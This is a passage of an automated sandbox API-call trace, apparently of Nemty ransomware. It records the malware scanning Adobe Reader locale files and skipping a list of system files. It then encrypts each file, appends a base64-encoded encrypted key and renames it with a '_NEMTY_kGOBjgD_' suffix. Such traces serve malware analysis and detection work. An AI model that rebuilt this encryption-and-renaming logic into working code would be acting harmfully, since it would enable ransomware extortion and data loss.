10.0\\reader\\locale\\pt_br\\saveasrtf.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SaveAsRTF.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\saveasrtf.ptb._nemty_kgobjgd_")) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.056] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.PTB", cAlternateFileName="")) returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2=".") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="..") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="...") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="windows") returned -1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="$RECYCLE.BIN") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="rsa") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="NTDETECT.COM") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="ntldr") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="MSDOS.SYS") returned 1 [0182.056] lstrcmpiW (lpString1="Search.PTB", lpString2="IO.SYS") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="boot.ini") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="boot.ini") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="ntuser.dat") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="desktop.ini") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="CONFIG.SYS") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="RECYCLER") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="BOOTSECT.BAK") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="bootmgr") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="programdata") returned 1 [0182.057] lstrcmpiW (lpString1="Search.PTB", lpString2="appdata") returned 1 [0182.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0182.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.PTB", lpUsedDefaultChar=0x0) returned 10 [0182.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.057] Sleep (dwMilliseconds=0x5) [0182.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x202a9450, dwHighDateTime=0x1d561e8)) [0182.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x202a9450, dwHighDateTime=0x1d561e8)) [0182.065] GetLastError () returned 0x0 [0182.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.066] GetLastError () returned 0x0 [0182.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.066] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.066] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="V5qT0xxNbMDR6rB5aRlybZj15s1vlSMZ2TfVHqOzWD6U/9GVp/Xyjef0xbBSxk17\r\nxTglGfn/4DYNdPC+gGb1FUhwdbk+NPHzQP8VbWVoJugIubwgnSooL9dWNphuE/Ja\r\n1g7wlETewKVLq2OJc3WHijS+Nk77ZoUtHz0n9xF9DAhjZKEYjnvpFjrd2RcC4Kx0\r\nM0cy21z3JlW+uBBlVstedKRo/l7pLQ8kC4OIKkBprHeyKcmyZ32Uw/RrGcZEGmQm\r\nbj7ySwbr789n3to84e7ze1iz/7n0n063SI14DgGN7yw//oPSyRX0B9doyaAF9EXd\r\n/EgPk3UnW5uTqdZwjJhNew==\r\n", pcchString=0x653e5dc) returned 1 [0182.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Search.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\search.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.066] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24576) returned 1 [0182.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6000) returned 0x6352c48 [0182.067] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.067] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6000, lpOverlapped=0x0) returned 1 [0182.069] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.070] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6000, lpOverlapped=0x0) returned 1 [0182.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.070] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0182.070] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.070] CloseHandle (hObject=0x2e8) returned 1 [0182.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.070] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Search.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\search.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Search.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\search.ptb._nemty_kgobjgd_")) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.071] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.PTB", cAlternateFileName="")) returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2=".") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="..") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="...") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="windows") returned -1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="$RECYCLE.BIN") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="rsa") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="NTDETECT.COM") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="ntldr") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="MSDOS.SYS") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="IO.SYS") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="boot.ini") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="boot.ini") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="ntuser.dat") returned 1 [0182.071] lstrcmpiW (lpString1="SendMail.PTB", lpString2="desktop.ini") returned 1 [0182.072] lstrcmpiW (lpString1="SendMail.PTB", lpString2="CONFIG.SYS") returned 1 [0182.072] lstrcmpiW (lpString1="SendMail.PTB", lpString2="RECYCLER") returned 1 [0182.072] lstrcmpiW (lpString1="SendMail.PTB", lpString2="BOOTSECT.BAK") returned 1 [0182.072] lstrcmpiW (lpString1="SendMail.PTB", lpString2="bootmgr") returned 1 [0182.072] lstrcmpiW (lpString1="SendMail.PTB", lpString2="programdata") returned 1 [0182.072] lstrcmpiW (lpString1="SendMail.PTB", lpString2="appdata") returned 1 [0182.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.072] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.PTB", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.PTB", lpUsedDefaultChar=0x0) returned 12 [0182.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.072] Sleep (dwMilliseconds=0x5) [0182.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x202cf5b0, dwHighDateTime=0x1d561e8)) [0182.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x202cf5b0, dwHighDateTime=0x1d561e8)) [0182.081] GetLastError () returned 0x0 [0182.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.081] GetLastError () returned 0x0 [0182.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.081] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.081] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.081] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.081] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.081] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.082] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="FWhCPuskvij7Ud9Y2wfBs8WLOZD+kGXQhdbNxom4/sfTYoSq/HI9aLQ5qHkhWVVD\r\nvXcaAxw1gM/FB2uJNnoJpbLNgZv2gb+8aLiGdWeht/Z+qssvMeODF4tl61Sv+5a2\r\nkDJ7rZKjctU/PtvAdiusOoXByHvtKvSl2a7raK/NqZItIUvF0zY0LpRcj2DSGMgM\r\nLuZn9LMehZ/8qDUTqLEfvzk3+KWBtxW4E0P/EiwCl1GWnTeqY7m6Uv23PF0YDY1C\r\nMn7u6LboQbQrcvCHX6qJYQu9K5lTI/XMrrKgBaJBo6cR+G21cX0FBIW8C0xbn9dZ\r\nBgpyfgCJnwqkljPP2xIceQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SendMail.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\sendmail.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.082] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15872) returned 1 [0182.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e00) returned 0x6352c48 [0182.082] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.082] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3e00, lpOverlapped=0x0) returned 1 [0182.085] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.085] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3e00, lpOverlapped=0x0) returned 1 [0182.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.086] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e00 [0182.086] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.086] CloseHandle (hObject=0x2e8) returned 1 [0182.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.086] RtlAllocateHeap 